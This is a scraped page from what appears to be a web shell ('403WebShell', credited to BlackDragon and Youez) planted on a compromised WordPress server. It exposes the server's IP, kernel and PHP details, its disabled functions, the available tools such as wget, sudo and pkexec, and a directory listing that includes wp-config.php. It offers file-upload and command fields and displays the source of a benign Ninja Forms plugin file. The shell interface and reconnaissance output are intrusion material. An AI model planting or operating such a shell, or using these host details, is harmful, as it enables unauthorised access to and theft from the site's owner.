buyer kontol nego ga ngotak
comecondo.com
Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
68.183.124.220
Cant read /etc/named.conf
Name
Type
Size
Owner/Group
Permission
Last Modified
Actions
.
dir
-
gavin/www-data
drwxr-sr-x
2024-12-15 11:41:30
..
dir
-
root/root
drwxr-xr-x
2019-08-25 02:29:45
.sucuriquarantine
dir
-
root/www-data
drwxr-sr-x
2024-05-24 05:31:33
home
dir
-
gavin/www-data
drwxrwsr-x
2026-05-23 05:31:31
worksheets
dir
-
gavin/www-data
drwxrwsr-x
2026-05-23 05:31:31
wp-admin
dir
-
gavin/www-data
drwxr-sr-x
2025-08-29 03:10:31
wp-content
dir
-
gavin/www-data
drwxrwsr-x
2026-05-23 05:31:31
wp-includes
dir
-
gavin/www-data
drwxr-sr-x
2021-06-27 11:01:30
.htaccess
text/plain
201 B
root/www-data
-rw-r--r--
2021-06-24 04:05:20
agent-contact-1.JPG
image/jpeg
22.78 KB
gavin/www-data
-rw-rw-r--
2022-01-31 05:13:10
circle-16.png
image/png
268 B
gavin/www-data
-rw-rw-r--
2021-01-11 04:23:00
index.html
text/html
11.06 KB
gavin/www-data
-rw-r--r--
2019-08-25 02:29:47
index.php
text/x-php
420 B
gavin/www-data
-rw-r--r--
2017-11-30 11:11:00
license.txt
text/plain
19.47 KB
gavin/www-data
-rw-r--r--
2019-01-01 08:37:49
map.php
text/html
1012 B
gavin/www-data
-rw-rw-r--
2021-01-01 03:50:38
pin-8-16.png
image/png
309 B
gavin/www-data
-rw-rw-r--
2021-01-11 04:38:33
pin-8-24.png
image/png
499 B
gavin/www-data
-rw-rw-r--
2021-01-11 04:40:01
pin-blue-1.png
image/png
28.16 KB
gavin/www-data
-rw-rw-r--
2022-01-27 09:10:36
pin-green-1.png
image/png
12.71 KB
gavin/www-data
-rw-rw-r--
2022-01-27 09:23:52
pin-house-red-2.png
image/png
1.36 KB
gavin/www-data
-rw-rw-r--
2022-01-30 09:18:10
pin-house-red-3.png
image/png
2.49 KB
gavin/www-data
-rw-rw-r--
2022-01-30 09:20:50
readme.html
text/html
7.27 KB
gavin/www-data
-rw-r--r--
2019-04-08 10:59:56
wallpaper1.jpg
image/jpeg
58.99 KB
gavin/www-data
-rw-rw-r--
2022-01-29 05:15:06
wallpaper2.jpg
image/jpeg
788.8 KB
gavin/www-data
-rw-rw-r--
2022-02-01 11:27:14
wp-activate.php
text/x-php
6.76 KB
gavin/www-data
-rw-r--r--
2019-01-12 06:41:52
wp-blog-header.php
text/x-php
369 B
gavin/www-data
-rw-r--r--
2017-11-30 11:11:00
wp-comments-post.php
text/x-php
2.23 KB
gavin/www-data
-rw-r--r--
2019-01-21 01:34:51
wp-config-sample.php
text/x-php
2.83 KB
gavin/www-data
-rw-r--r--
2020-10-24 04:07:41
wp-config.php
text/x-php
3.62 KB
gavin/www-data
-rw-r--r--
2022-04-20 01:23:49
wp-cron.php
text/x-php
3.76 KB
gavin/www-data
-rw-r--r--
2019-01-09 08:37:51
wp-links-opml.php
text/x-php
2.44 KB
gavin/www-data
-rw-r--r--
2019-01-16 05:29:49
wp-load.php
text/x-php
3.23 KB
gavin/www-data
-rw-r--r--
2017-11-30 11:11:00
wp-login.php
text/x-php
38.62 KB
gavin/www-data
-rw-r--r--
2019-06-10 01:34:45
wp-mail.php
text/x-php
8.21 KB
gavin/www-data
-rw-r--r--
2017-11-30 11:11:00
wp-settings.php
text/x-php
18.52 KB
gavin/www-data
-rw-r--r--
2019-03-28 07:04:51
wp-signup.php
text/x-php
30.36 KB
gavin/www-data
-rw-r--r--
2019-01-16 04:51:52
wp-trackback.php
text/x-php
4.65 KB
gavin/www-data
-rw-r--r--
2017-11-30 11:11:00
xmlrpc.php
text/x-php
3 KB
gavin/www-data
-rw-r--r--
2018-08-17 01:51:36
© BlackDragon
403WebShell 403Webshell
Server IP : 68.183.124.220 / Your IP : 216.73.216.228 Web Server : Apache/2.4.18 (Ubuntu) System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : gavin ( 1000 ) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : / home /gavin /ninja-forms /includes /Fields / Upload File :
current_dir [ Writeable ]
document_root [ Writeable ]
Command :
[ Back ] Current File : /home/gavin/ninja-forms/includes/Fields/Product.php <?php if ( ! defined( 'ABSPATH' ) ) exit;
/**
* Class NF_Fields_Product
*/
class NF_Fields_Product extends NF_Abstracts_Input
{
protected $_name = 'product';
protected $_section = '';
protected $_icon = 'tag';
protected $_aliases = array();
protected $_type = 'product';
protected $_templates = array( 'product', 'textbox', 'hidden', 'listselect' );
protected $_test_value = '0';
protected $processing_fields = array( 'quantity', 'modifier', 'shipping', 'tax', 'total' );
protected $_settings = array( 'product_use_quantity', 'product_price', 'product_type', 'product_type' );
protected $_settings_exclude = array( 'input_limit_set', 'disable_input', 'required' );
public function __construct()
{
parent::__construct();
$this->_nicename = __( 'Product', 'ninja-forms' );
$this->_settings[ 'product_price' ][ 'width' ] = 'full';
add_filter( 'ninja_forms_merge_tag_value_product', array( $this, 'merge_tag_value' ), 10, 2 );
add_filter( 'ninja_forms_custom_columns', array( $this, 'custom_columns' ), 10, 3 );
add_filter( 'ninja_forms_merge_tag_calc_value_product', array( $this, 'merge_tag_value' ), 10, 2 );
add_filter( 'ninja_forms_localize_field_' . $this->_name, array( $this, 'filter_required_setting' ) );
add_filter( 'ninja_forms_localize_field_' . $this->_name . '_preview', array( $this, 'filter_required_setting' ) );
}
public function process( $product, $data )
{
$related = array();
foreach( $data[ 'fields' ] as $key => $field ){
if( ! isset ( $field[ 'type' ] ) || ! in_array( $field[ 'type' ], $this->processing_fields ) ) continue;
$type = $field[ 'type' ];
if( ! isset( $field[ 'product_assignment' ] ) ) continue;
if( $product[ 'id' ] != $field[ 'product_assignment' ] ) continue;
$related[ $type ] = &$data[ 'fields' ][ $key ]; // Assign by reference
}
//TODO: Does not work in non-English locales
$total = str_replace( array( ',', '$' ), '', $product[ 'product_price' ] );
$total = floatval( $total );
if( isset( $related[ 'quantity' ][ 'value' ] ) && $related[ 'quantity' ][ 'value' ] ){
$total = $total * $related[ 'quantity' ][ 'value' ];
} elseif( $product[ 'product_use_quantity'] && $product[ 'value' ] ){
$total = $total * $product[ 'value' ];
}
if( isset( $related[ 'modifier' ] ) ){
//TODO: Handle multiple modifiers.
}
$data[ 'product_totals' ][] = number_format( $total, 2 );
$data[ 'extra' ][ 'product_fields' ][ $product[ 'id' ] ][ 'product_price' ] = $product[ 'settings' ][ 'product_price' ];
return $data;
}
/**
* Validate
*
* @param $field
* @param $data
* @return array $errors
*/
public function validate( $field, $data )
{
$errors = array();
if( isset( $field[ 'product_use_quantity' ] ) && 1 == $field[ 'product_use_quantity' ] ){
// Required check.
if( isset( $field['required'] ) && 1 == $field['required'] && ! trim( $field['value'] ) ){
$errors[] = 'Field is required.';
}
}
return $errors;
}
public function filter_required_setting( $field )
{
if( ! isset( $field[ 'settings' ][ 'product_use_quantity' ] ) || 1 != $field[ 'settings' ][ 'product_use_quantity' ] ) {
$field[ 'settings' ][ 'required' ] = 0;
}
return $field;
}
public function merge_tag_value( $value, $field )
{
// TODO: Replaced this to fix English locales.
// Other locales are still broken and will need to be addressed in refactor.
// $product_price = preg_replace ('/[^\d,\.]/', '', $field[ 'product_price' ] );
$product_price = str_replace( array( ',', '$' ), '', $field[ 'product_price' ] );
$product_quantity = ( isset( $field[ 'product_use_quantity' ] ) && 1 == $field[ 'product_use_quantity' ] ) ? $value : 1;
return number_format( $product_price * $product_quantity, 2 );
}
public function custom_columns( $value, $field, $sub_id )
{
if ( ! $field->get_setting( 'product_use_quantity' ) ) return $value;
if ( 0 == absint( $_REQUEST[ 'form_id' ] ) ) return $value;
$form_id = absint( $_REQUEST[ 'form_id' ] );
/*
* Check to see if we have a stored "price" setting for this field.
* This lets us track what the value was when the user submitted so that total isn't incorrect if the user changes the price after a submission.
*/
$sub = Ninja_Forms()->form()->get_sub( $sub_id );
$product_fields = $sub->get_extra_value( 'product_fields' );
if( is_array( $product_fields ) && isset ( $product_fields[ $field->get_id() ] ) ) {
$price = $product_fields[ $field->get_id() ][ 'product_price' ];
} else {
$price = $field->get_setting( 'product_price' );
}
/*
* Get our currency marker setting. First, we check the form, then plugin settings.
*/
$currency = Ninja_Forms()->form( $form_id )->get()->get_setting( 'currency' );
if ( empty( $currency ) ) {
/*
* Check our plugin currency.
*/
$currency = Ninja_Forms()->get_setting( 'currency' );
}
$currency_symbols = Ninja_Forms::config( 'CurrencySymbol' );
$currency_symbol = html_entity_decode( $currency_symbols[ $currency ] );
// @todo Update to use the locale of the form.
global $wp_locale;
$price = str_replace( array( $wp_locale->number_format[ 'thousands_sep' ], $currency_symbol ), '', $price );
$price = floatval( $price );
$value = intval( $value );
$total = number_format_i18n( $price * $value, 2 );
$output = $currency_symbol . $total . ' ( ' . $value . ' ) ';
return $output;
}
public function admin_form_element( $id, $value )
{
$form_id = get_post_meta( absint( $_GET[ 'post' ] ), '_form_id', true );
$field = Ninja_Forms()->form( $form_id )->get_field( $id );
/*
* Check to see if we have a stored "price" setting for this field.
* This lets us track what the value was when the user submitted so that total isn't incorrect if the user changes the price after a submission.
*/
$sub = Ninja_Forms()->form()->get_sub( absint( $_REQUEST[ 'post' ] ) );
$product_fields = $sub->get_extra_value( 'product_fields' );
if( is_array( $product_fields ) && isset ( $product_fields[ $id ] ) ) {
$price = $product_fields[ $id ][ 'product_price' ];
} else {
$price = $field->get_setting( 'product_price' );
}
/*
* Get our currency marker setting. First, we check the form, then plugin settings.
*/
$currency = Ninja_Forms()->form( $form_id )->get()->get_setting( 'currency' );
if ( empty( $currency ) ) {
/*
* Check our plugin currency.
*/
$currency = Ninja_Forms()->get_setting( 'currency' );
}
$currency_symbols = Ninja_Forms::config( 'CurrencySymbol' );
$currency_symbol = html_entity_decode( $currency_symbols[ $currency ] );
// @todo Update to use the locale of the form.
global $wp_locale;
$price = str_replace( array( $wp_locale->number_format[ 'thousands_sep' ], $currency_symbol ), '', $price );
$price = floatval( $price );
$value = intval( $value );
$total = number_format_i18n( $price * $value, 2 );
$price = number_format_i18n( $price, 2 );
return "Price: <strong>" . $currency_symbol . $price . "</strong> X Quantity: <input name='fields[$id]' type='number' value='" . $value . "'> = " . $currency_symbol . $total;
}
}
Youez - 2016 - github.com/yon3zuLinuXploit